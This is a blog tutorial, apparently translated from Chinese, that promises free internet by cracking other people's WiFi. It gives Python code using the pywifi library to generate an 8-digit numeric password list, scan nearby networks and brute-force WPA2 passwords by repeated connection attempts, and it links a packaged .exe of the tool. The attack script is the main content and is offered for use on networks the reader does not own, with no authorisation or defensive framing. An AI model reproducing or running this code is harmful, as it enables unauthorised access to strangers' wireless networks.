Teach you to crack WiFi with Python, traffic freedom is no longer a dream!

Copyright statement: originality is not easy, plagiarism and reprinting are prohibited in this article, and infringement must be investigated!

1. Introduction and installation of pywifi

Development environment: Windows10 Python3.6.4
Third-party library: pywifi-1.1.12
IDE: PyCharm/Sublime Text

Introduction to pywifi:
pywifi is a third-party library in python for operating wireless interfaces. It can be used across platforms and supports Windows and Linux. Here we use to perform wifi operations, including connection, scanning, disconnection, etc.

pywifi installation:

pip install comtypes -i https://pypi.doubanio.com/simple
pip install pywifi -i https://pypi.doubanio.com/simple

insert image description here
pywifi-1.1.12 depends on comtypes, so you also need to install comtypes

2. Violent construction of WiFi password library

WiFi passwords generally consist of numbers (0-9), letters (case-sensitive) and special characters (!@#&*., etc.). The password is stored in a txt file. Some WiFi passwords may be a little more complicated, just extend the character length or add letters and special characters. The

code is as follows:

astring = "1234567890"    #可添加字母和特殊字符
pwds = it.product(astring, repeat=8)    #8位密码长度
with open(filename, 'a', encoding='utf-8') as f:
    for pwd in pwds:    
        f.write(''.join(pwd))
        f.write(''.join('\n'))

insert image description here

There are 100,000,000 types of brute force cracking WiFi passwords consisting of 10 digits, and the memory usage is about 953.67MB. It can be seen that brute force cracking requires relatively high memory

3. Encoding to crack WiFi

WiFi scan code:

interface = self.wifi.interfaces()[0]    #使用索引序号0获取第一个无线网卡
interface.scan()
print('扫描WiFi中,请稍后………………')
time.sleep(1)
print('扫描完成!\n' + '*' * 50)
print('\n%s\t%s\t%s' % ('WiFi编号', 'WiFi信号', 'WiFi名称'))
wifiList = interface.scan_results()    #返回一个列表

wifiNewList = []
for w in wifiList:
    wifiNameAndSignal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))   #解决乱码问题并返回元组
    wifiNewList.append(wifiNameAndSignal)

wifi_signal_and_name_list = sorted(wifiNewList, key=lambda i: i[0], reverse=True)    # 按信号强度倒序

index = 0
while index < len(wifi_signal_and_name_list):
    print('%s\t\t\t%s\t\t\t%s' % (index, wifi_signal_and_name_list[index][0], wifi_signal_and_name_list[index][1]))
    index += 1
print('\n' + '*' * 50)

The scanning effect is as follows:
insert image description here

WiFi crack code:

profile = pywifi.Profile()    #创建连接文件(对象)
profile.ssid = wifiName        #wifi名称
profile.auth = const.AUTH_ALG_OPEN        #需要认证
profile.akm.append(const.AKM_TYPE_WPA2PSK)    #wifi默认加密算法
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = pwd
interface.remove_all_network_profiles()        #删除所有wifi连接文件
tmp_profile = interface.add_network_profile(profile)    #设置新的wifi连接文件

interface.connect(tmp_profile)    #开始尝试连接

startTime = time.time()
while time.time() - startTime < 1.5:
    if interface.status() == 4:
        print('连接成功!%s密码为:%s' % (profile.ssid, pwd))
        exit(0)
    else:
        print('正在尝试用密码 %s 暴力破解…………' % pwd)

The console cracking effect is as follows:
insert image description here

packaged into an .exe executable file , the test results are as follows:
insert image description here
insert image description here
It can be seen that brute force cracking requires high memory and time!

Homework: Think about any algorithms that can optimize memory and time?

Five, .exe script download

.exe script click me to download

  • It can run successfully without configuring any environment (only WiFi with 8-digit password is supported, if you want to crack more complicated WiFi, you can extend the character length or add letters and special characters in the source code)
  • astring = "1234567890" #可添加字母和特殊字符 pwds = it.product(astring, repeat=8) #8位密码长度

6. Author Info

Author: Xiaohong's fishing routine, Goal: Make programming more interesting!

Focus on algorithms, reptiles, websites, game development, data analysis, natural language processing, AI, etc., looking forward to your attention, let us grow and code together!

Copyright Note: This article prohibits plagiarism and reprinting, and infringement must be investigated!

Guess you like

Origin blog.csdn.net/qq_44000141/article/details/128096169